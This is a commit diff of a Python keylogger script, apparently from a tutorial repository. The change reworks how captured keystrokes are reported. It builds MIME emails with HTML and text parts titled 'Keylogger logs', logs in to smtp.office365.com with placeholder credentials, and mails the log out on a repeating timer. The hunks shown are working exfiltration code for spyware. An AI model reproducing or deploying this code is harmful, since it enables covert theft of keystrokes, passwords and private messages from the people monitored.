33# Timer is to make a method runs after an `interval` amount of time
44from threading import Timer
55from datetime import datetime
6+ from email .mime .multipart import MIMEMultipart
7+ from email .mime .text import MIMEText
68
79SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
8- EMAIL_ADDRESS = "put_real_address_here@gmail.com "
9- EMAIL_PASSWORD = "put_real_pw "
10+ EMAIL_ADDRESS = "email@provider.tld "
11+ EMAIL_PASSWORD = "password_here "
1012
1113class Keylogger :
1214 def __init__ (self , interval , report_method = "email" ):
@@ -59,17 +61,37 @@ def report_to_file(self):
5961 print (self .log , file = f )
6062 print (f"[+] Saved { self .filename } .txt" )
6163
62- def sendmail (self , email , password , message ):
64+ def prepare_mail (self , message ):
65+ """Utility function to construct a MIMEMultipart from a text
66+ It creates an HTML version as well as text version
67+ to be sent as an email"""
68+ msg = MIMEMultipart ("alternative" )
69+ msg ["From" ] = EMAIL_ADDRESS
70+ msg ["To" ] = EMAIL_ADDRESS
71+ msg ["Subject" ] = "Keylogger logs"
72+ # simple paragraph, feel free to edit
73+ html = f"<p>{ message } </p>"
74+ text_part = MIMEText (message , "plain" )
75+ html_part = MIMEText (html , "html" )
76+ msg .attach (text_part )
77+ msg .attach (html_part )
78+ # after making the mail, convert back as string message
79+ return msg .as_string ()
80+
81+ def sendmail (self , email , password , message , verbose = 1 ):
6382 # manages a connection to an SMTP server
64- server = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
83+ # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
84+ server = smtplib .SMTP (host = "smtp.office365.com" , port = 587 )
6585 # connect to the SMTP server as TLS mode ( for security )
6686 server .starttls ()
6787 # login to the email account
6888 server .login (email , password )
69- # send the actual message
70- server .sendmail (email , email , message )
89+ # send the actual message after preparation
90+ server .sendmail (email , email , self . prepare_mail ( message ) )
7191 # terminates the session
7292 server .quit ()
93+ if verbose :
94+ print (f"{ datetime .now ()} - Sent an email to { email } containing: { message } " )
7395
7496 def report (self ):
7597 """
@@ -85,8 +107,8 @@ def report(self):
85107 self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
86108 elif self .report_method == "file" :
87109 self .report_to_file ()
88- # if you want to print in the console, uncomment below line
89- # print(f"[{self.filename}] - {self.log}")
110+ # if you don't want to print in the console, comment below line
111+ print (f"[{ self .filename } ] - { self .log } " )
90112 self .start_dt = datetime .now ()
91113 self .log = ""
92114 timer = Timer (interval = self .interval , function = self .report )
0 commit comments